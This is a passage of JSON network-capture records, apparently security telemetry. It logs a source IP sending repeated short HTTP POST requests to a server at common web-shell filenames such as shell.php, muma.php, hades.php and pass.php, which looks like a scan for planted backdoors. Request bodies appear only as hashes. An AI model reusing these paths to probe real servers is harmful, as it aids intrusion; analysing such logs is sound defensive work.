            "http.request.uri": "/lz.php",
            "http.response_in": "852",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/lz.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-83b946fdae9a09703caf36ee",
          "src_port": 54989,
          "tcp_stream": 27,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 851,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255725.953590000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/zmp.php",
            "http.response_in": "855",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/zmp.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d8adcbceefd0cfd78c2bd405",
          "src_port": 54989,
          "tcp_stream": 27,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 854,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255728.153679000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/803.php",
            "http.response_in": "858",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/803.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-63d5df938a9db9863a797b21",
          "src_port": 54989,
          "tcp_stream": 27,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 857,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255732.857082000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/zzz.php",
            "http.response_in": "869",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/zzz.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2586ace3da178b0c3551da5a",
          "src_port": 57683,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 867,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255749.817651000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ze.php",
            "http.response_in": "872",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ze.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-216409634fd65ea81c890aef",
          "src_port": 57683,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 871,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255753.765383000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/nnb.php",
            "http.response_in": "875",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/nnb.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-00358607e4543e64324724af",
          "src_port": 57683,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 874,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255754.834136000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/lkio.php",
            "http.response_in": "878",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/lkio.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ec668c7ec09b991ab9ceb385",
          "src_port": 57683,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 877,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255755.114030000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/mm.php",
            "http.response_in": "881",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/mm.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-bdad2c526b6519b035c09d85",
          "src_port": 57683,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 880,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255755.394441000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/mmp.php",
            "http.response_in": "885",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/mmp.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-94b6b4752e54e18a855f6523",
          "src_port": 57683,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 883,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255757.689966000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/hades.php",
            "http.response_in": "888",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/hades.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-9ee743fa824e0a520d972314",
          "src_port": 57683,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 887,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255757.982191000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/muma.php",
            "http.response_in": "891",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/muma.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-07b136daa5e1f3fdbc01bccd",
          "src_port": 57683,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 890,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255759.861805000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/shell.php",
            "http.response_in": "894",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/shell.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-41b06dad7bddef542fbaec4f",
          "src_port": 57683,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 893,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255760.141708000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/zza.php",
            "http.response_in": "897",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/zza.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c96f5c36d8f4a05d9278b6d4",
          "src_port": 57683,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 896,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255761.064868000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ag.php",
            "http.response_in": "900",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ag.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ca8b2992641d93ae9e513dff",
          "src_port": 57683,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 899,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255761.724165000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/2ndex.php",
            "http.response_in": "909",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/2ndex.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-99df9394ad0b5762c22dc944",
          "src_port": 60221,
          "tcp_stream": 29,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 907,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255770.763545000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/my.php",
            "http.response_in": "919",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/my.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-95abc840b0b87d5ce1ee4f28",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "363b45ef36c4b422e2343990313f4920dfab48b6e2336548d09257541f4e2659",
          "frame_number": 917,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255771.320971000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/aa.php",
            "http.response_in": "922",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/aa.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-9c0c481693c9e34671943179",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "e100603116e2ef5ad761bb07fe2eda8bab6ef2525c5d9647b6108f8be84a7c2a",
          "frame_number": 921,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255772.360985000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qq.php",
            "http.response_in": "925",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qq.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a429049adb67960d4d6bae0a",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "ee0baf8858675f8e670d5f1e3f9945ed1120eccde1c24be5cafc1e251637aa47",
          "frame_number": 924,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577255774.767048000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/config.php",
            "http.response_in": "928",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/config.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-acb58f61eb4fc99b62904a7b",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "e100603116e2ef5ad761bb07fe2eda8bab6ef2525c5d9647b6108f8be84a7c2a",
          "frame_number": 927,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255776.080530000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/1.php",
            "http.response_in": "931",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-89e2105ec1a01c8895723757",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "363b45ef36c4b422e2343990313f4920dfab48b6e2336548d09257541f4e2659",
          "frame_number": 930,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255776.486853000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/1.php",
            "http.response_in": "934",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-418c15f79cca243b26c043ac",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "f32f1906df0271cc992f71e3c11c03e6b32739b0d3c4056127181806d0b3da65",
          "frame_number": 933,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255776.975704000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/miao.php",
            "http.response_in": "937",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/miao.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1c2175c0c83a5c812485d280",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "f32f1906df0271cc992f71e3c11c03e6b32739b0d3c4056127181806d0b3da65",
          "frame_number": 936,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255777.662062000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/j.php",
            "http.response_in": "940",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/j.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-46b276c75272b4fbc85124d1",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "363b45ef36c4b422e2343990313f4920dfab48b6e2336548d09257541f4e2659",
          "frame_number": 939,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255777.946300000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/cc.php",
            "http.response_in": "943",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/cc.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-fba3e23b476d81642d004a21",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "472d1c07fb6fa554f291c056580ee3b57ccc6f1eb3acde8c114f0e9d072ebcdd",
          "frame_number": 942,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255778.226518000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xiaodai.php",
            "http.response_in": "945",
            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xiaodai.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-183397539d8dd26cf492083b",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "438e452b4bee81dbe459dc9082ed15556e117c3110318c4c336633a8e46b2105",
          "frame_number": 944,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577255779.157592000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/abak.php",
            "http.response_in": "948",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/abak.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3b412aaa2acdab7167af880e",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "bd18f7078dd097ee2c16800851a78b8b8dc6f15700dc2f9ba568761b9d6e82c7",
          "frame_number": 947,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255780.372576000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/pass.php",
            "http.response_in": "951",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/pass.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3a8a39774321ea6d7045e081",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "48ed77af7b3153860c46cb5fe6235e7c40d373d8cf735dd43115af97c2a8cbf1",
          "frame_number": 950,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577255780.655780000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/olelist.php",
            "http.response_in": "955",
            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/olelist.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-39a1aa1cc5f591493706c547",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "f37feb3989cd9f1337ccd8becd3dab888fa19a06e89d904851ecfb09151cd06a",
          "frame_number": 953,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577255781.486826000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/a.php",
            "http.response_in": "958",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/a.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5404c761dd620264e1891f6d",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 957,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
